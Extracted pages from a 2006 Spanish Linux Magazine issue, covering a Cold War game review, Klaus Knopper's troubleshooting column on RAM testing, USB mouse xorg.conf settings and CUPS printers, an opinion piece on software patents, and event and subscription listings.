La barra es importante: ¿Copiará Rsync los contenidos o elfichero en sí?
[1] Página de inicio de Unison: http://
www.cis.upenn.edu/~bcpierce/unison/
RECURSOS
Línea de Comandos: Rsync • LINUX USER
85Número 20W W W . L I N U X - M A G A Z I N E . E S
86
LINUX USER • Juegos
86 Número 20 W W W . L I N U X - M A G A Z I N E . E S
¡Camaradas! Cold War viene para
asentarse como el primer juego de
sigilo 3D comercial para linux y lo
hace con todos los honores. Y es que
aunque tuviera competencia directa
en linux, Cold War brillaría con luz
propia. Todos los aspectos han sido
cuidados con mimo, máxime si tene-
mos en cuenta que el equipo
desarrollador tenía poca experiencia
en el mundillo de los videojuegos.
Como veremos en detalle a continua-
ción, la calidad general es más que
notable.
ENTRE SOMBRASENTRE SOMBRAS
Sigilo
Este juego se basa casi por completo en
el sigilo. A diferencia de otros títulos del
género (en otras plataformas) aquí no
somos un super soldado mejorado
genéticamente o con una equipación tan
avanzada que rivalizaría con los super
héroes de toda la vida; en Cold War nos
metemos en los zapatos de Matt Carter,
un simple y llano reportero de
investigación norteamericano que tras
llegar a Moscú en plena guerra fría para
conseguir unas fotos que le pueden
arreglar la vida, se ve involucrado en
una conspiración al máximo nivel
orquestada para que determinados
individuos tomen el control de la URSS.
Dadas las nulas habilidades de com-
bate de nuestro protagonista y que no
tenemos ningún arma (al menos inicial-
mente) o protección, se verá obligado a
usar el sigilo en todo momento: escon-
dernos entre las sombras, avanzar
lentamente para hacer poco ruido o crear
distracciones en otro punto para despis-
tar a los guardias serán algunas de las
argucias de las que tendremos que valer-
nos para poder avanzar entre decenas de
guardias en cada nivel.
Pero, ¿que esté enfocado en el sigilo
nos inhabilita a usar un arma? En abso-
luto. A partir de cierto momento se nos
permitirá disparar a los enemigos (con
las armas que consigamos de otros ene-
migos inconscientes o muertos) ya que
ellos tienen como misión eliminarnos
tan pronto como nos localicen, así pues
es cuestión de vida o muerte…. salvo
que seas tan bueno como para evitar tu
muerte sin que les cueste la suya a tus
enemigos. Y es que Cold War incluye dos
El género del sigilo se estrena en nuestra plataforma linux y lo hace
realmente a lo grande con un título de un pequeño grupo de progra-
madores de Praga, [1]Mindware Studios, que lo ha dado todo para
crear un juego que desde el día de su estreno ha pasado a convertirse
en uno de los grandes de este género. Desde la antigua Rusia damos la
bienvenida a Cold War. POR VICENTE CARRO
Figura 1: El menú del juego en perfecto español. Figura 2: Fotograma de un vídeo introductorio estilo comic.
interesantes modos de dificultad extra:Fantasma y Pacifista. En Pacifista nopuedes matar a nadie durante el trans-curso del juego, mientras que enFantasma además no puedes disparar niuna sola alarma; un verdadero reto reser-vado para profesionales de la paciencia yel sigilo en estado puro.
Reflejos y RelievesEn el apartado gráfico del juego lo quemás llama la atención en cuanto nosponemos a jugar es que podemosapreciar que el protagonista está per-fectamente texturado incluso conmapa de relieve, dándole un acabadomagnífico y muy creíble. Patrick Rak,programador jefe del juego, ha conse-guido que, gracias al nuevo motorgráfico MENG, en pantalla podamosver reflejos, mapas de relieve, buenastexturas, y un siempre presente efectode HDR que se traduce en un ligeroefecto de desenfoque de acuerdo a laluminosidad y color de la imagen. Sinduda, es mucho más fácil entenderloal ver las imágenes que con una expli-cación escrita. También estaránpresentes durante todo el juego bue-nas animaciones de personajes yescenarios muy bien modelados. Sólose le pueden achacar cierta repetitivi-dad al tener que jugar varias vecessobre los mismos escenarios. Pero lomejor de todo es que estos efectos seejecutan correctamente con tarjetasgráficas relativamente modestas, per-mitiéndonos disfrutar de este juego enequipos con configuraciones mediana-mente antiguas. Aunque, lógicamente,lo ideal es jugarlo en un ordenadorpotente para poder disfrutar de losefectos con una buena resolución.
Oigo pasosPor un lado el sonido será parteimportante del juego, ya que si avan-zamos demasiado rápido nuestrospasos serán escuchados por los guar-dias más cercanos, delatando nuestraposición y eventualmente causando lamuerte de nuestro protagonista. Perode igual modo podemos usar el sonidoen nuestra ventaja, por ejemplo,haciendo que un reloj suene en otropunto lejano y consiguiendo así que elguardia de turno se aleje de su posi-ción para investigar, dándonos víalibre en nuestro avance.
Técnicamente el apartado de sonidoestá muy bien tratado, con buenosefectos de audio, muy buenas voces yuna banda sonora muy correcta y bieninterpretada. Respecto a las voces hayque reseñar que aunque no haydoblaje en castellano, los textos enpantalla sí están traducidos, por loque toda clase de público podrá dis-frutar de este juego.
Inspector GadgetUna innovación muy interesante, yvital en los niveles más difíciles, es eluso de gadgets o items. Éstos tienen laparticularidad de que han de ser mon-tados por el protagonista siempre ycuando tenga suficientes puntos detécnica y piezas para hacerlos. Cadavez que encontremos ciertos planos ydocumentos en el juego, aumentaránnuestros puntos de técnica; y por otrolado también podremos encontrar ele-mentos o items necesarios para estosmontajes. Cuanto más complicado seael montaje a realizar, más puntos detécnica y más elementos requerirá suconstrucción. Sin embargo, la moles-tia vale la pena, ya que podremoscrear desde balas de plástico (útilespara incapacitar a un enemigo sinmatarlo) hasta complicados dispositi-vos con bombas de humo de granalcance unidas a detonadores acciona-dos por control remoto, entre otrosartilugios.
Rayos XMatt Carter, el protagonista, conse-guirá casi al principio del juego unacámara muy especial. Esta cámarapermite durante algunos segundos vera través de las cosas como si fuerauna radiografía. Además, si enfoca-mos directamente a la cabeza dealgún enemigo y pulsamos el botón dedisparo conseguiremos lanzarle unacarga de radiación que dejará al rivalinconsciente durante un rato. Tam-bién, con los artilugios que podemoscrear, es posible realizarle mejoras ala cámara, como alargar su duración osu profundidad de visión. Este es unpunto clave del juego, ya que con-vierte misiones que serían imposiblesde realizar en misiones más o menosllevaderas (ver detrás de las puertases una gran ventaja de hecho). Para-dójicamente en un juego en el que
controlamos a un fotógrafo y dondetenemos una cámara de fotos tanespecial, no se nos da la opción dehacer capturas reales de pantalla; noes importante, pero habría sido undetalle incluir dicha opción.
ResumiendoEs un juego sobresaliente, dondetodos los aspectos han sido cuidadosal detalle, único exponente del génerodel sigilo en linux con todos los hono-res. En la demo [2] se incluyen dosniveles distintos que os ayudarán aapreciar tanto la calidad como la téc-nica que destila este título. Si bien escierto que el primer contacto con élnos deja un gusto difícil, si le dedica-mos una hora escasa empezaremos adisfrutar de la verdadera experienciade juego. Adquisición obligada, reciénsalida de la república checa, para losamantes del sigilo. �
Juegos • LINUX USER
87Número 20W W W . L I N U X - M A G A Z I N E . E S
[1] Mindware Studios http://www.
mindwarestudios.com
[2] Demo de Cold War http://www.
guadagames.com/product_info.
php?products_id=48
RECURSOS
GLOBAL:
Lo mejor
•Gráficos, destacando
el HDR y relieves
• ¡Por fin un juego de sigilo!
•Ambientación
Lo peor
•No tiene doblaje español
•Poca variedad en localizaciones
•No podemos sacar fotos
8,75
Puntuación
Figura 3: Así se ve una persona si usamos la
cámara de rayos X.
COMUNIDAD · Konsultorio
88 Número 20 W W W . L I N U X - M A G A Z I N E . E S
equipo. A veces este chequeo encuentra
memoria RAM defectuosa. En otras oca-
siones, sin embargo, los errores son
provocados por una configuración erró-
nea en la BIOS de los tiempos de
refresco. Este tipo de problemas puede
que ocurran sólo bajo una carga de tra-
bajo fuerte que no se simulan con
herramientas como memtest86+.
La siguiente receta me ha funcionado
en un caso donde ninguna herramienta
encontraba nada raro. Debería haber
suficiente espacio en tmp para poder
hacer el test:
1.Empezamos con algo como lo
siguiente:
dd if=/dev/urandom U
of=/tmp/test1 bs=1000k U
count=size_of_your_memory_in_MB
2. Como root (se requiere para la opción
-f), hacemos unos cuantos (una
docena, por ejemplo):
ping -f localhost U
>/dev/null 2>&1 &
ping -f localhost U
>/dev/null 2>&1 &
ping -f localhost U
>/dev/null 2>&1 &
...
Cada ping -f localhost añade una carga
al sistema de unos 1-2.
3. Realizamos la siguiente prueba para
investigar el problema:
while true; do
cp /tmp/test1 /tmp/test2;
md5sum /tmp/test1
/tmp/test2; done
En el caso de que los archivos difieran
(sumas md5 diferentes), se están produ-
ciendo bits cambiantes aleatorios en la
RAM de nuestro ordenador (a continuación
debemos usar un ramdisk para descartar
un error del disco duro), o algún controla-
dor IO (¿disco duro, puerto PCI?) se ha
vuelto loco. En este caso, trataría de reem-
plazar la placa si está en garantía, pues
puede ser una tarea de locos descubrir qué
tipo de RAM funciona adecuadamente con
el timing de nuestra BIOS, y aunque encon-
tremos algo, probablemente no será la
configuración “perfecta”.
Y no, no es “un problema debido a
Linux” si el test descrito muestra errores
que son evidentes.
Ratones USBMe gustaría mucho usar un ratón
con mi portátil bajo Linux.
Desafortunadamente, los portátiles
últimamente carecen de conexiones PS2.
La respuesta obvia sería usar un ratón
USB, sin embargo, trasteando con distin-
tas distribuciones, he encontrado que
Xorg parece no funcionar adecuada-
mente con los ratones USB (USB 2.0). He
notado, no obstante, que si meto el CD
de Knoppix para usarlo en mi ordenador,
no aparece ningún problema con el ratón
USB. El hecho de que Knoppix funcione
con ratones USB me hace pensar que
este problema no está relacionado con el
hardware.
Al contrario que muchas distros actua-
les, Knoppix usa aun XFree y no Xorg.
¿Cuál es el problema y cómo arre-
glarlo? En mi caso tengo un HP NX6110.
dmesg señala un conflicto de memoria,
indicando con un mensaje que el ratón
se ha quedado sin MTRR disponible.
Cuelgues en el sistema
Mi equipo se cuelga en momentos
aparentemente aleatorios. Me han
sugerido que haga un volcado de memo-
ria para buscar pistas. ¿Existe alguna
herramienta para poder analizar el con-
tenido de la memoria? En caso
afirmativo, ¿qué tipo de cosas debería
buscar?
Puedes probar memtest86+
desde un disco de arranque, visita
http://www.memtest.org/. memtest86+
hace un chequeo de la memoria RAM del
ELCONSULTORIODE KLAUS
Klaus Knopper es el creador de
Knoppix y co-fundador de la
LinuxTag Expo. Trabaja en la
actualidad como profesor,
programador y consultor. Si tiene
algún problema de configuración,
o simplemente quiere conocer
mejor cómo funciona Linux, no
dude en escribir sus preguntas a:
Idealmente, me gustaría tener el portátil
trabajando bajo la última versión de Slack-
ware, que usa el sistema gráfico Xorg. La
principal aplicación que utilizo hace uso de
la base de datos Postgresql, y estoy seguro
que podría echarla a funcionar bajo otras
distribuciones si fuese necesario.
La pregunta comprende varias cate-
gorías, por lo que voy a dividir mis
respuestas.
Portátiles sin PS/2Hace tiempo pensaba que un portátil sin
clavija PS/2 era algo que ningún fabri-
cante iba a ser capaz de vender. Bueno,
parece claro que mi suposición resultó
errónea. Debería haberme preguntado si
existían realmente ordenadores sin
conector PS/2, ya que recuerdo cuando
empezaron a retirar las disqueteras de
los equipos, aunque dejaban una contro-
ladora de disquetera no funcional en la
placa por “razones de compatibilidad”…
No hay gran problema, por tanto.
Linux, aun con el soporte PS/2 habili-
tado, funciona bien sin un dispositivo
PS/2.
¿Problema de Hardware?Podría ser un problema de hardware si el
kernel se queda bloqueado cuando trata
de acceder a un ratón PS/2 no presente o
a un puerto PS/2 con un enrutado de
interrupción erróneo (puede que la
causa de esto esté en el ACPI o el APIC).
Si este es el problema en su caso, puede
plantearse añadir algo como:
acpi=off
o por el contrario
acpi=force
y/o
noapic pnpbios=off
en las opciones APPEND del kernel para
lilo, grub o syslinux. Esto podría salvar-
nos de interrupciones no funcionales.
También:
pci=irqmask=0x0e98
se sabe que es útil en el caso de proble-
mas con las interrupciones PS/2.
XFree vs Xorg y PS/2 vsRatón USBHasta donde yo conozco, los servidores
XFree y Xorg no sólo tienen una sintaxis
altamente compatible en cuanto a los
archivos de configuración, sino que ade-
más comparten el mismo tipo de
detección de hardware. También, Knop-
pix 5 ya está usando Xorg (con casi el
mismo archivo de configuración que
tenía XFree). Este cambio se debe funda-
mentalmente a que prácticamente todas
las distribuciones (incluso Debian) están
cambiando a Xorg hoy día.
Por tanto, conseguir que un ratón USB
y Xorg funcionen correctamente sin
tener un ratón PS/2 como dispositivo de
puntero primario es más un problema de
mala configuración que un problema
relacionado con la temática Xorg frente a
XFree.
Miremos en /etc/X11/xorg.conf. Tanto
si tenemos varios ratones conectados al
equipo, como si sólo tenemos uno o nin-
guno, debemos asegurarnos que
tenemos las siguientes líneas en el
archivo xorg.conf:
Section “ServerFlags”
Option “AllowMouseOpenFail” U
“true”
EndSection
Esto nos permite iniciar el servidor X,
incluso si aparece un error en el procedi-
miento interno de configuración del
ratón de XFree o Xorg.
Ahora bien, si ocurre que tenemos un
ratón que no coopera en absoluto,
situado en el centro de la ventana sin
responder a nada, todavía podemos usar
el teclado para simular los movimientos
del ratón. Pulsamos
Izq-Control-Shift-NumLock (en el teclado
numérico) simultáneamente. Normal-
mente esto causa un pequeño beep.
Entonces podremos mover el puntero
usando las flechas del teclado numérico
(o la emulación que se usa en la mayoría
de los portátiles). En algunos casos, ten-
dremos que pulsar la tecla Num-Lock
dos veces para que funcione. Nótese que
esto es una funcionalidad del servidor X,
por lo que no debería depender del tipo
de escritorio que usemos.
En cualquier caso, podemos intentar
que funcione el ratón USB (con o sin el
ratón PS/2 adicional).
Knoppix (algunas veces) tiene dos o
más ratones listados en la sección Server-
Layout de xorg.conf (véase Listado 3).
Un experto en XFree/Xorg puede seña-
lar que este método es completamente
Konsultorio • COMUNIDAD
89Número 20W W W . L I N U X - M A G A Z I N E . E S
01 Section “InputDevice”
02 Identifier “PS/2 Mouse”
03 Driver “mouse”
04 Option “Protocol” “auto”
05 Option “ZAxisMapping” “4 5”
06 Option “Device” “/dev/psaux”
07 Option “Emulate3Buttons” “true”
08 Option “Emulate3Timeout” “70”
09 Option “SendCoreEvents” “true”
10 EndSection
Listado 1: Ratón PS/2 enxorg.conf
01 Section “InputDevice”
02 Identifier “USB Mouse”
03 Driver “mouse”
04 Option “Device” “/dev/input/mice”
05 Option “SendCoreEvents” “true”
06 Option “Protocol” “IMPS/2”
07 Option “ZAxisMapping” “4 5”
08 Option “Buttons” “5”
09 EndSection
Listado 2: Ratón USB enxorg.conf
Impresora DesconectadaTengo una impresora USB conec-
tada a un equipo con Suse Linux
9.3. Cada vez que se desconecta el cable
USB, la configuración de la impresora deja
de funcionar, incluso si reinicio y vuelvo a
conectar el cable al mismo conector donde
estaba en un principio. Me veo obligado a
borrar la vieja configuración de la impre-
sora y reinstalar la impresora en Yast.
¿Cuál puede ser el motivo por el que tengo
que hacer esto? ¿Puede ser consecuencia
de alguna configuración errónea del sub-
sistema USB? En este caso, ¿qué puedo
cambiar en el fichero de configuración
para evitar tener que reinstalar la impre-
sora?
Francamente, no creo que cups
cambie la configuración del sistema
simplemente con desconectar la impre-
sora. Una posible explicación para el caso
de la impresora USB podría ser que su
firmware tuviera que ser subido a la impre-
sora cada vez que la conectamos. Si la
conectamos en caliente o udev se “olvida”
de subirlo, la impresora simplemente no
responde a menos que reseteemos el
equipo o reiniciemos los módulos USB
adecuados que fuercen a subir el firmware.
Mi consejo en este caso es que no se debe
comprar una impresora que no funcione
tal cual (es decir, que no se necesite subir
firmware para poder funcionar).
Una segunda posible explicación sería
que el estado de la impresora en cups se
quede marcado como “offline” al desco-
nectar la impresora, y cups esté
configurado de manera que no soporte el
reescaneo automático para devolver el
estado de nuevo a “online”. Para compro-
bar si estamos en este caso:
1. Abrimos la configuración de la impre-
sora. En KDE, debemos teclear lo
siguiente
kcmshell printmgr
2. Pulsamos con el botón derecho del
ratón en la impresora y verificamos si
el estado indica “online”. Podemos
también reiniciar/habilitar esta impre-
sora con el mismo botón.
Se puede hacer esto mismo con el fron-
tend web de cups, algo menos aconsejable,
que podemos encontrar en http://
localhost:631/printers/.
Una tercera sospecha: podemos verificar
si hay algunos trabajos pendientes para
imprimir que contengan información
corrupta (como algún archivo PDF
corrupto). Tendremos que borrar estas
tareas pendientes de la cola para poder
regresar a un estado operativo.
En cualquier caso deberíamos compro-
bar los logs de /var/log/cups en busca de
errores, y ver también si dmesg revela
algún problema con el puerto de la impre-
sora. �
erróneo porque sólo puede haber UN
único CorePointer.
De igual modo, XFree/Xorg genera una
notable advertencia acerca del hecho de que
hay DOS de estos punteros presentes en el
archivo de configuración. Bueno, a pesar del
mensaje de advertencia acerca de los punteros
extra, esta configuración ha funcionado per-
fectamente en Knoppix, con esta misma
sintaxis, desde hace años, y las X necesitan al
menos un CorePointer operativo para que fun-
cionen las operaciones con el ratón. Esta
opción nos proporciona una copia de seguri-
dad en caso de que falle en el arranque. Por
tanto, sí, Xorg puede tener más de un Core-
Pointer.
Pero en el caso de un portátil que no tenga
conector PS/2, o resulte que sólo tenga uno
interno para el touchpad, podemos eliminar o
comentar la línea InputDevice “PS/2 Mouse”
“CorePointer”.
El Listado 1 es un ejemplo para un ratón
PS/2:
La configuración del Listado 1 incluso
puede ubicarse en xorg.conf si la línea Input-
Device “PS/2 Mouse” “CorePointer” se ha
eliminado de la sección ServerLayout.
Para un ratón USB, podemos ver un ejem-
plo en el Listado 2.
La configuración en el Listado 2 debería
funcionar con la mayoría de los ratones USB.
Si /dev/input/mice/ parece muerta, probable-
mente no tenemos “evdev” compilado en el
kernel o el módulo “evdev” no está cargado.
Para algunos kernels, los eventos del ratón PS/
2 se replican en /dev/input/mice, junto a los
eventos del ratón USB, por lo que en realidad
necesitamos únicamente la línea Input-Device
“USB Mouse” “CorePointer” en ServerLayout y
podemos eliminar sin riesgo la línea “PS/2”.
Tras reiniciar Xorg, deberían funcionar
tanto el ratón interno como el externo. Si
conectamos el ratón externo unos momentos
más tarde, y no se reconoce inmediatamente,
deberíamos ser capaces de activar el ratón sin
tener que reiniciar las X, simplemente conmu-
tando a una consola de texto y volviendo a
conmutar a las X.
COMUNIDAD · Konsultorio
90 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Figura 1: Cambiamos la configuración de la impresora con el botón derecho del ratón en el
administrador de impresoras de KDE “kcmshell printmgr”.
01 Section “ServerLayout”
02 ...
03 InputDevice “USB Mouse”
“CorePointer”
04 InputDevice “PS/2 Mouse”
“CorePointer”
05 EndSection
Listado 3: Entrada para elratón en Knoppix
cuellos de botella de la arquitectura del
código, en sentido amplio, de Internet.
La defensa debe insistir en pronunciar
la palabra secreta de todo este asunto:
“monopolio”, y en demostrar la imposi-
bilidad de eliminar bajo condiciones
política y jurídicamente controladas el
movimiento del software libre. Porque lo
que sí debe tener muy claro una sociedad
abierta es que todo totalitarismo basa su
estructura económica en el monopolio.
El monopolio salvador de Microsoft es
muy tradicionalista, ya que, como pro-
ductor de unas soluciones técnicas que
se remontan en su planteamiento a
muchos años atrás, recoge un conjunto
de cuestiones bien concretas con sus
planteamientos y pretende encauzar la
historia de la programación sobre esos
rieles, desfasados y determinados frente
a la realidad. Parte además de un para-
digma ideológico artificial: sólo puede
haber un sistema operativo. Pero realidad
significa propensión a los hechos. La
imaginación es orgánica, en ella hay
esperanza fuera de esa cada vez más
necrópolis que es la Oficina Europea de
Patentes. Ellos aún no lo saben, pero con-
tamos con un arma secreta, legal y
definitiva: la ausencia de glamour de los
monopolios. �
91
Opinión • COMUNIDAD
José María Lancho es abogado y
fundador de la Asociación Legal-
venture (http://www.legalventure.
com/) un grupo de abogados que
pretende estudiar la relación del
derecho y la tecnología como facto-
res de cambio social en España.
Asimismo, José María es miembro
fundador del Observatorio de Neu-
tralidad Tecnológica (http://
neutralidad.es/),
dedicado a la
denuncia de abu-
sos contra los
usuarios en mate-
ria tecnológica.
EL A
UT
OR
La era glacial es lo más parecido a la
primavera para los monopolios y
el termómetro legal no marca muy
alto últimamente en Europa. La fiebre
ideológica de las patentes de software
aún domina la Oficina de Patentes Euro-
pea donde creen que las patentes son un
buen negocio para el viejo continente,
algo que además les permitirá el creci-
miento gigantesco de su aparato
burocrático.
Ultimátum, Ironía y Decadencia son
tres bailarinas traídas a la tarima del
escenario europeo por uno de los directo-
res comerciales de Microsoft
concretamente para lanzar desde sus
tacones la amenaza de eventuales
demandas por infracción de patentes a
los que se salgan fuera del paraguas de
sus productos. Pero el miedo a los fantas-
mas es la única prueba de que estos
existen y la única prueba de que las
patentes de software en Europa tienen
alguna virtualidad o eficacia es el temor
de algún directivo a una demanda Euro-
pea por infracción. Alguno de sus apoyos
en Bruselas pretende cargarse de convic-
ción afirmando que cuando se den el
gran banquete, al menos las más grandes
mantendrán el protocolo en la mesa.
La patente para software en Europa
sólo es comprensible para alguien que
piensa que un sistema operativo es un
lugar donde se crían gallinas, o que un
monopolio en Europa es algo que sólo
sucede en los videojuegos. No creo que
los políticos le vayan a dejar a hacer a Mr.
Gates algo que no les dejan hacer a ellos
mismos: controlar la gramática. Qué más
quisieran ellos que controlar el código de
lo que podemos decir y pensar. Gates
dice que sólo lo quiere para el Universo
digital, por eso, tras varios asaltos direc-
tos de la propuesta de patentamiento del
software al Parlamento Europeo, el movi-
miento pro-patentes sólo ha servido para
enriquecer a los lobbys de Bruselas y es
que los políticos prefieren dedicar, mil
veces, su tiempo a regular la simetría de
los hielos del frigorífico antes que entrar
en el patentamiento del software. Las
patentes para el software son el último
recurso que le queda a la era de los dino-
saurios y van a pelear, presionando país a
país y ganando todavía batallas.
Las grandes empresas de software, en
su empeño por consagrar sus patentes en
Europa, se comportan como solteronas
que quieren que su maridaje con el Estado
se vuelva irreversible. La estrategia es sen-
cilla: Microsoft le ofrece al Estado la
estructura patriarcal monógama que en
términos de reparto de poder es el tipo de
estructura más sencilla desde el neolítico.
La oferta habla de igualdad para todos,
léase igualdad de oportunidades para esta-
blecer el propio dominio, es decir, para
crear y mantener la desigualdad. Pero la
atractiva esposa esconde cuál es el juego:
quién va a controlar la arquitectura de
Internet, entendida como la reinterpreta-
ción conexiva de toda la información del
planeta. Eso es lo que quiere el Imperio: la
evolución y la arquitectura de la red. A ese
nivel, hasta los derechos de autor serán un
problema para el Sr. Gates, porque con
copyright no se controla la red. Es más, el
canon sobre los soportes digitales no creo
que le guste nada y no va a permitir que
los burócratas civiles de las entidades de
gestión vayan a mantener mucho tiempo
su cazo en la red.
Poco tienen que ver las acciones recien-
tes antimonopolio en Europa que llegan
tarde y llegan pronto. Tarde porque hay
situaciones de hecho que la legislación
europea no es capaz de corregir. Y una
sanción le vendría muy a propósito a
Microsoft para acallar inquietudes: “se ha
hecho dura justicia”, dirá la gran
empresa. Por eso digo que llega pronto
respecto de la verdadera amenaza de esa
empresa. La empresa tiene por vía de
hecho y de patentes controlados todos los
91Número 20W W W . L I N U X - M A G A Z I N E . E S
LA CONSPIRACIÓNMONOPOLÍSTICA
#09
#12
#15 #16 #17
#13 #14
#10 #11
a go t a do
¡Hazte con tus ejemplares atrasados!
WWW.LINUX-MAGAZINE.ES/ATRASADOS
#18 #19
¡pídelos ya!
el REPOSITORIOde conocimientos
LINUXmás COMPLETO
¡No esperes aque se agoten!
WWW.LINUX-MAGAZINE.ES/ATRASADOS
94
EVENTOS
94 Número 20 W W W . L I N U X - M A G A Z I N E . E S
Virtualization Conference
Fecha: 14-15 Noviembre
Ciudad: Colonia, Alem.
Sitio Web:
http://www.linux-magazine.com
I Concurso Universitario de
Software Libre
Fecha: 1-13 Octubre
Ciudad: Sevilla, España
Web:http://concurso-softwarelibre.us.es
Trolltech Devel. Days 2006
Fecha: 26-27 Octubre
Ciudad: San José,EE.UU.
Sitio Web:
http://www.trolltech.com
Información de Contacto
DirectorPaul C. Brown
CoolaboradoresPaul C. Brown, Jose Manuel González Vida, JuanRafael Fernández, Pedro Orantes, José María Ruíz,Alberto Planas, Jose A. García, Ana Mª Ferreiro
TraductoresPaqui Martín Vergara, Paul C. Brown, VíctorTienda, Oliver Kurz.
MaquetaciónJuan Miguel Ramírez
Diseño de [email protected]
Publicidadwww.linux-magazine.es/pub/
Para EspañaMarketing y Comunicaciones [email protected].: (+ 34) 951 010 556Fax.: (+ 34) 951 010 516
Paul C. [email protected].: (+ 34) 951 010 556Fax.: (+ 34) 951 010 516
Para el Resto del MundoBrian Osborn [email protected] Tel.: (+49) 6509 910 495Fax.: (+49) 6509 910 497
Director EditorialPaul C. Brown
Jefe de ProducciónJuan Miguel Ramírez
Subscripciones:www.linux-magazine.es/magazine/subs
Precios Subscripción España: 54,90 €Europa: 64,90 €Resto del Mundo - Euros: 84,90 €
Tel.: (+34) 951 010 556Fax.: (+34) 951 010 516 [email protected]
Linux MagazineLinux New Media Spain, S.L.Avda. Juan López Peñalver, 2129590 - Campanillas Málaga ESPAÑA [email protected].: (+34) 951 010 556Fax.: (+34) 951 010 516
www.linux-magazine.es - Españawww.linux-magazine.com - Mundowww.linux-magazine.de - Alemania
Si bien se toman todas las medidas posibles paragarantizar la precisión del contenido de los artículos publi-cados en Linux Magazine, la editorial no se hace responsable de imprecisiones aparecidas en larevista. Asimismo, Linux Magazine no compartenecesariamente las opiniones vertidas por suscolaboradores en sus artículos. El riesgo derivado del uso del DVD y el material que contiene corren por cuenta del lector. El DVD es estudiado escrupu-losamente para confirmar que está libre de virus y errores.
Copyright y Marcas Registradas © 2006 Linux NewMedia Spain, S.L. Linux New Media Spain S.L. prohíbela reproducción total o parcial de los contenidos deLinux Magazine sin su permiso previo y por escrito.Linux es una Marca Registrada de Linus Torvalds.
Impreso en Alemania
Impresión: Dierichs Druck + Media GmbH
Distribución: SGEL
Depósito Legal: MA-116-2005
ISSN edición impresa: 1576-4079
ISSN edición online: 1699-2237
Calendario de Eventos
Evento Fecha Ciudad Sitio Web
AUUG 2006 8-13 Octubre Melbourne,Australia new.auug.org.au/events_store/auug2006LinuxWorld Conference & Expo NL 11-12 Octubre Utrecht,Holanda www.linuxworldexpo.nlTrolltech Developer Days Europe 2006 11-12 Octubre Munich,Alemania www.trolltech.com/devdays2006hack.lu 2006 19-21 Octubre Kirchberg,Luxemburgo www.hack.luaLANtejo 06 20-26 Octubre Évora,Portugal alantejo.uevora.pt/2006LinuxWorld Conference & Expo UK 25-26 Octubre Londres,U.K. www.linuxworldexpo.co.ukZend/PHP Conference 2006 29 Oct.-2 Nov. San Jose,EEUU devzone.zend.com/node/view/id/89International PHP Conference 2006 5-8 Noviembre Frankfurt,Alemania www.phpconference.comWeb 2.0 Conference 7-9 Noviembre San Francisco,EEUU www.web2con.comForum PHP 2006 9-10 Noviembre Paris,Francia www.afup.org/article.php3?id_article=304Firebird Conference 2006 12-14 Noviembre Praga,República Checa www.ibphoenix.comLinuxWorld Conference & Expo Germany 14-16 Noviembre Colonia,Alemania www.linuxworldexpo.deVirtualization Conference 14-15 Noviembre Colonia,Alemania www.linux-magazine.com/virtualizationT-DOSE 2-3 Diciembre Eindhoven,Holanda www.t-dose.orgOpen Source Developers' Conference 5-8 Diciembre Melbourne,Australia www.osdc.com.auSecure Linux Admin.Conference 7-8 Diciembre Berlín,Alemania www.heinlein-support.de/slac23rd Chaos Communication Congress 27-30 Diciembre Berlín,Alemania events.ccc.de/congress/200614.DFN-Cert-Workshop 7-8 Febrero 07 Hamburgo,Alemania www.cert.dfn.de/events/ws/2007Open Source Developers' Conference 20-22 Febrero 07 Netanya, Israel www.osdc.org.il/2007
Más del 30% de descuento respecto al precio de portada: Consigue 12 números por 54’90 Euros y todos los DVDs ¡Gratis!
A diferencia de otras publicaciones, Linux Magazine no llenará tu buzón de recordatorios para que renueves tu subscripción. Ésta se renovaráautomáticamente cada año. Recibirás una confirmación aproximadamente 30 días antes del final de tu periodo de subscripción, pero no serequiere que hagas nada para seguir suscrito.
¡No te pierdas Linux Magazine nunca más! La subscripción te asegura que recibas los conocimientos Linux de más alta calidad en tu domiciliocada mes.
Si por cualquier motivo decides dejar de leer Linux Magazine, puedes cancelar tu subscripción en cualquier momento. Te abonaremos el preciode todos los números que no hayas recibido. Sin preguntas, sin fechas de cancelación, sin problemas.
Linux Magazine es algo más que una revista de Linux. Patrocinamos grupos, congresos, proyectos y eventos relacionados con el Software Libre.Suscribiéndote a Linux Magazine garantizas que podamos seguir apoyando al Software Libre allá donde haga falta.
LINUX LOCAL
97Número 20W W W . L I N U X - M A G A Z I N E . E S
Andalucía
Logo Empresa Correo-e Web 1 2 3 4 5 6 7 8
Gesinfo [email protected] www.gesinfoweb.com � � � � � �
BitRock [email protected] bitrock.com � �
Properly Software [email protected] www.properly.es/site � �
GuadaGames [email protected] www.guadagames.com �
LINUX LOCALLeyenda
1.- Hardware
2.- Software / Desarollo
3.- Formación
4.- Soporte / Consultoría
5.- Servidores
6.- Redes
7.- Migración
8.- Hospedaje
Cataluña
Logo Empresa Correo-e Web 1 2 3 4 5 6 7 8
IWS [email protected] www.iws.es � � � � � �
Madrid
Logo Empresa Correo-e Web 1 2 3 4 5 6 7 8
Mono::labs [email protected] www.monolabs.com � � � � � �
Datum [email protected] www.datum.ws � � � � � �
Virtua [email protected] www.virtua.es � � � �
Opentia [email protected] www.opentia.es � � � � � �
Linux Local es el directorio de servicios y empresas de Linux cerca de ti.
¿Necesitas soporte, hardware, formación? Consulta Linux Local y encuen-
tra quién ofrece qué y dónde. El directorio se divide en regiones autóno-
mas para ayudarte a localizar las empresas que ofrecen servicios cerca de ti. Uti-
liza la leyenda de la derecha para encontrar la empresa que ofrece el servicio
que precises.
Linux Local es tu guía de servicios Linux.
¿Por qué no está su empresa eneste directorio?
LINUX MAGAZINE llega a miles de empresas, profesionales y usuarios cada mes.
Si tiene servicios o productos Linux que ofrecer ¡Llámenos!
Tlf.: +34 951 010 556
Fax: +34 951 010 516
98
PRÓXIMO NÚMERO
98 Número 20 W W W . L I N U X - M A G A Z I N E . E S
EL FUTURO DE LOS
GRÁFICOS LINUXEn el extraño y maravilloso mundo de Linux, el mañana
siempre llega hoy. Si ayer Linux era el patito feo de los
entornos visuales, hoy es el referente hacia el que los
demás miran. El mes que viene veremos porqué.
Primero analizamos la validez del venerable sistema
de ventanas X y comprobamos si es capaz de satisfacer
las demandas de un mundo que exige 3D para todo. A
continuación vemos qué dan de sí precisamente los
escritorios 3D con las tecnologías de Xgl y Compiz
¿Incrementan la productividad y la accesibilidad, o no
son más que bonitos juguetes?
En nuestro siguiente artículo echaremos un vistazo a
una tecnología que viene de la mano de Red Hat:
AIGLX, una alternativa a Xgl. Veremos en qué supera y
dónde falla ante Xgl. Por último presentamos un
repaso de la mayor revisión del sistema X en más de
